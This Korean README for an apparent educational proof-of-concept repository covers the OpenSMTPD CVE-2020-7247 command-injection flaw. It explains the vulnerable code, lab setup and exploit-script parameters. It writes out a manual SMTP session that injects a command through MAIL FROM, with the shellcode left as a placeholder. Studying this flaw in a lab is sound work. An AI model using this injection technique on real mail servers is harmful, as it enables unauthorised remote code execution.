
교육 목적의 CVE-2020-7247 개념 증명
이 저장소는 통제된 개인 환경에서 CVE-2020-7247을 설정하고 익스플로잇하기 위한 기반을 제공합니다. 게시된 모든 코드와 설정은 오직 이 취약점을 테스트하기 위한 목적이며, 자신의 시스템이 아니거나 익스플로잇 허가를 받지 않은 시스템을 남용하기 위한 것이 아닙니다. 이 저장소의 소유자는 제3자가 이 도구를 사용하는 것에 대해 책임을 지지 않습니다.
코드의 주요 문제는 메일 검증이 제대로 작동하지 않는다는 점입니다. 이로 인해 MAIL FROM 및 RCPT TO 필드에 잠재적으로 위험한 문자가 전달될 수 있습니다.
메일 주소의 로컬 부분이 유효하지 않은 경우에도 도메인 부분이 추가된 후 유효한 것으로 간주되어 처리되므로 공격자가 임의의 코드를 실행할 수 있습니다.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
안전한 코드는 다음과 같아야 합니다.
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd는 이어서 소위 MDA 명령어를 실행합니다. 이 명령어는 메일 전달에 사용되며 다음과 같습니다.
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
여기서 이미 문제가 보일 것입니다. mbox.from은 발신자 주소로, 공격자가 완전히 제어할 수 있습니다.
그러나 공격자는 셸코드에서 다음 목록에 포함되지 않은 문자만 사용할 수 있습니다: !#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
여기서 전체 공개됨
서버를 실행할 배포판은 자유롭게 선택할 수 있습니다. 저는 Ubuntu 18.04 LTS에서 테스트했습니다.
chmod +x setup.sh를 실행하여 설정 스크립트를 실행 가능하게 만드세요. 필요한 곳에만 sudo 권한을 포함시켰으므로 일반 사용자로도 사용할 수 있습니다. (물론 사용자는 sudoer여야 합니다.)
설정 스크립트는 smtpd 자체에 필요한 모든 종속성을 설치하고 설정 파일을 해당 위치로 복사합니다.
Opensmtpd 6.6.1이 설치됩니다.
수동으로 opensmtpd를 실행해야 하거나 스크립트에 오류가 있는 경우 다음을 실행하세요.
cd /usr/local/sbin
sudo smtpd
또는
sudo smtpd -dv # 디버그 출력용
이 저장소의 설정은 로컬 테스트용으로만 작성되었습니다. 외부 도메인/고급 설정은 포함하지 않습니다.
aliases와 smtpd.conf는 이 서버 설정에 필요한 두 개의 설정 파일입니다. 원하는 대로 변경할 수 있습니다. 설정은 제 테스트 서버용으로 작성되었음을 유의하세요. 제 서버 이름은 ase(smtpd.conf의 @ase 지시문)였고 사용자 이름은 ase(aliases 사용자 설정)였습니다.
smtpd.conf에서 <YOUR IP>를 서버의 IP로 바꿔야 합니다. 그렇지 않으면 smtpd가 시작되지 않습니다.
이 환경에서 IP 주소나 포트를 발견한 경우, 제가 사용한 환경의 주요 정보를 제공하니 필요에 따라 변경하세요.
asease192.168.1.4025192.168.1.311337제공된 익스플로잇은 Python 3.x를 사용합니다. pwn 종속성을 사용합니다. 이 익스플로잇을 사용하려면 pwntools를 pip3 install pwntools로 설치해야 합니다.
기본적으로 이 익스플로잇은 사용자 상호작용 없이 자동으로 취약점을 익스플로잇합니다. 그러나 Python 스크립트 없이 수동으로도 수행할 수 있습니다.
앞서 언급했듯이 제공된 Python 스크립트 없이도 익스플로잇을 실행할 수 있습니다. SMTP 절차를 수동으로 따라야 합니다. netcat 또는 telnet을 사용하여 수행할 수 있습니다.
다음은 수동으로 수행하는 한 가지 예입니다.
telnet <서버 IP> 25
HELO attacker
250 ase Hello attacker [<클라이언트 IP>], pleased to meet you
MAIL FROM:<;여기에 셸코드 입력;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
오, 너 털렸다
.
250 2.0.0 48bb34d2 Message accepted for delivery
제공된 스크립트를 사용할 수도 있습니다. 사용 가능한 매개변수는 다음과 같습니다.
--targetHost 대상 지정 (필수).--targetPort 대상 포트 지정 (필수).--customCommand 주입할 명령어 지정.shellcode.py는 원격 셸 코드가 어떻게 생겼는지 보여주는 예시입니다. \
